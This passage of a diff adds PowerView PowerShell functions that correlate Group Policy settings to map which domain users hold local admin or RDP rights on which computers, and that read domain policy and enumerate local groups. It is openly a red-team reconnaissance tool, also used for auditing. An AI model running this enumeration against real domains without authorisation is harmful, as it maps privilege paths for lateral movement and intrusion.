($Member in $MembershipValue) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + $ConvertToArguments = @{'ObjectName' = $Member} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID @ConvertToArguments + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $MembershipValue = $GroupMembers + } + + if (-not $Memberships[$Group]) { + $Memberships[$Group] = @{} + } + if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} + $Memberships[$Group].Add($Relation, $MembershipValue) + } + + ForEach ($Membership in $Memberships.GetEnumerator()) { + if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + if ($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments + } + else { + $GroupName = $False + } + } + else { + $GroupName = $Membership.Key + + if ($GroupName -and ($GroupName.Trim() -ne '')) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif ($GroupName.Trim() -ne '') { + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $GroupSID = ConvertTo-SID @ConvertToArguments + } + else { + $GroupSID = $Null + } + } + } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $GPOGroup + } + } + + # now try to the parse group policy preferences file (Groups.xml) if it exists + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + } + + Get-GroupsXML @ParseArgs | ForEach-Object { + if ($PSBoundParameters['ResolveMembersToSIDs']) { + $GroupMembers = @() + ForEach ($Member in $_.GroupMembers) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + + # if the resulting member is username and not a SID, attempt to resolve it + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $_.GroupMembers = $GroupMembers + } + + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $_ + } + } + } +} + + +function Get-DomainGPOUserLocalGroupMapping { +<# +.SYNOPSIS + +Enumerates the machines where a specific domain user/group is a member of a specific +local group, all through GPO correlation. If no user/group is specified, all +discoverable mappings are returned. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup + +.DESCRIPTION + +Takes a user/group name and optional domain, and determines the computers in the domain +the user/group has local admin (or RDP) rights to. + +It does this by: + 1. resolving the user/group to its proper SID + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-DomainGPOLocalGroup + 4. matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + +If no user/group is specified, all user/group -> machine mappings discovered through +GPO relationships are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the user/group to identity GPO local group mappings for. + +.PARAMETER LocalGroup + +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. + +.PARAMETER Domain + +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOUserLocalGroupMapping + +Find all user/group -> machine relationships where the user/group is a member +of the local administrators group on target machines. + +.EXAMPLE + +Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOUserLocalGroupMapping -Credential $Cred + +.OUTPUTS + +PowerView.GPOLocalGroupMapping + +A custom PSObject containing any target identity information and what local +group memberships they're a part of through GPO correlation. + +.LINK + +http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOUserLocalGroupMapping')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [String] + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } + + PROCESS { + $TargetSIDs = @() + + if ($PSBoundParameters['Identity']) { + $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid + $TargetObjectSID = $TargetSIDs + if (-not $TargetSIDs) { + Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" + } + } + else { + # no filtering/match all + $TargetSIDs = @('*') + } + + if ($LocalGroup -match 'S-1-5') { + $TargetLocalSID = $LocalGroup + } + elseif ($LocalGroup -match 'Admin') { + $TargetLocalSID = 'S-1-5-32-544' + } + else { + # RDP + $TargetLocalSID = 'S-1-5-32-555' + } + + if ($TargetSIDs[0] -ne '*') { + ForEach ($TargetSid in $TargetSids) { + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" + $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid + } + } + + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" + + $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { + $GPOgroup = $_ + # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID + if ($GPOgroup.GroupSID -match $TargetLocalSID) { + $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { + $GPOgroup + } + } + } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup + } + } + } | Sort-Object -Property GPOName -Unique + + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPOname = $_.GPODisplayName + $GPOguid = $_.GPOName + $GPOPath = $_.GPOPath + $GPOType = $_.GPOType + if ($_.GroupMembers) { + $GPOMembers = $_.GroupMembers + } + else { + $GPOMembers = $_.GroupSID + } + + $Filters = $_.Filters + + if ($TargetSIDs[0] -eq '*') { + # if the * wildcard was used, set the targets to all GPO members so everything it output + $TargetObjectSIDs = $GPOMembers + } + else { + $TargetObjectSIDs = $TargetObjectSID + } + + # find any OUs that have this GPO linked through gpLink + Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + if ($Filters) { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname + } + else { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname + } + + if ($OUComputers) { + if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } + } + } + + # find any sites that have this GPO linked through gpLink + Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } + } + } + } +} + + +function Get-DomainGPOComputerLocalGroupMapping { +<# +.SYNOPSIS + +Takes a computer (or GPO) object and determines what users/groups are in the specified +local group for the machine through GPO correlation. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup + +.DESCRIPTION + +This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups +are in the specified local group for a target machine through GPO correlation. + +If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to +determine the OU the computer is a part of. Then resolve the computer's site name with +Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to +enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For +each resulting GPO group, resolve the resulting user/group name to a full AD object and +return the results. This will return the domain objects that are members of the specified +-LocalGroup for the given computer. + +Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and +localgroup specifications. + +.PARAMETER ComputerIdentity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. + +.PARAMETER OUIdentity + +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. + +.PARAMETER LocalGroup + +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. + +.PARAMETER Domain + +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local + +Finds users who have local admin rights over WINDOWS3 through GPO correlation. + +.EXAMPLE + +Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP + +Finds users who have RDP rights over WINDOWS4 through GPO correlation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local + +.OUTPUTS + +PowerView.GGPOComputerLocalGroupMember +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GGPOComputerLocalGroupMember')] + [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] + Param( + [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] + [String] + $ComputerIdentity, + + [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] + [Alias('OU')] + [String] + $OUIdentity, + + [String] + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['ComputerIdentity']) { + $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' + + if (-not $Computers) { + throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." + } + + ForEach ($Computer in $Computers) { + + $GPOGuids = @() + + # extract any GPOs linked to this computer's OU through gpLink + $DN = $Computer.distinguishedname + $OUIndex = $DN.IndexOf('OU=') + if ($OUIndex -gt 0) { + $OUName = $DN.SubString($OUIndex) + } + if ($OUName) { + $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } + } + } + + # extract any GPOs linked to this computer's site through gpLink + Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" + $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName + if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { + $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } + } + } + + # process any GPO local group settings from the GPO GUID set + $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { + $GPOGroup = $_ + + if($GPOGroup.GroupMembers) { + $GPOMembers = $GPOGroup.GroupMembers + } + else { + $GPOMembers = $GPOGroup.GroupSID + } + + $GPOMembers | ForEach-Object { + $Object = Get-DomainObject @CommonArguments -Identity $_ + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOComputerLocalGroupMember = New-Object PSObject + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType + $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') + $GPOComputerLocalGroupMember + } + } + } + } + } +} + + +function Get-DomainPolicyData { +<# +.SYNOPSIS + +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID + +.DESCRIPTION + +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller using Get-DomainGPO. + +.PARAMETER Domain + +The domain to query for default policies, defaults to the current domain. + +.PARAMETER Policy + +Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies. +Otherwise queries for the particular GPO name or GUID. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainPolicyData + +Returns the default domain policy for the current domain. + +.EXAMPLE + +Get-DomainPolicyData -Domain dev.testlab.local + +Returns the default domain policy for the dev.testlab.local domain. + +.EXAMPLE + +Get-DomainGPO | Get-DomainPolicy + +Parses any GptTmpl.infs found for any policies in the current domain. + +.EXAMPLE + +Get-DomainPolicyData -Policy DC -Domain dev.testlab.local + +Returns the policy for the dev.testlab.local domain controller. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainPolicyData -Credential $Cred + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Source', 'Name')] + [String] + $Policy = 'Domain', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $ConvertArguments['Domain'] = $Domain + } + + if ($Policy -eq 'All') { + $SearcherArguments['Identity'] = '*' + } + elseif ($Policy -eq 'Domain') { + $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' + } + elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { + $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' + } + else { + $SearcherArguments['Identity'] = $Policy + } + + $GPOResults = Get-DomainGPO @SearcherArguments + + ForEach ($GPO in $GPOResults) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'OutputObject' = $True + } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | ForEach-Object { + $_ | Add-Member Noteproperty 'GPOName' $GPO.name + $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname + $_ + } + } + } +} + + +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { +<# +.SYNOPSIS + +Enumerates the local groups on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function will enumerate the names and descriptions for the +local groups on the current, or remote, machine. By default, the Win32 API +call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" +causes the WinNT service provider to be used instead, which returns group +SIDs along with the group names and descriptions/comments. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". + +.EXAMPLE + +Get-NetLocalGroup + +ComputerName GroupName Comment +------------ --------- ------- +WINDOWS1 Administrators Administrators have comple... +WINDOWS1 Backup Operators Backup Operators can overr... +WINDOWS1 Cryptographic Operators Members are authorized to ... +... + +.EXAMPLE + +Get-NetLocalGroup -Method Winnt + +ComputerName GroupName GroupSID Comment +------------ --------- -------- ------- +WINDOWS1 Administrators S-1-5-32-544 Administrators hav... +WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... +WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... +... + +.EXAMPLE + +Get-NetLocalGroup -ComputerName primary.testlab.local + +ComputerName GroupName Comment +------------ --------- ------- +primary.testlab.local Administrators Administrators have comple... +primary.testlab.local Users Users are prevented from m... +primary.testlab.local Guests Guests have the same acces... +primary.testlab.local Print Operators Members can administer dom... +primary.testlab.local Backup Operators Backup Operators can overr... + +.OUTPUTS + +PowerView.LocalGroup.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroup.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +.LINK + +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroup.API')] + [OutputType('PowerView.LocalGroup.WinNT')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information + + # arguments for NetLocalGroupEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = 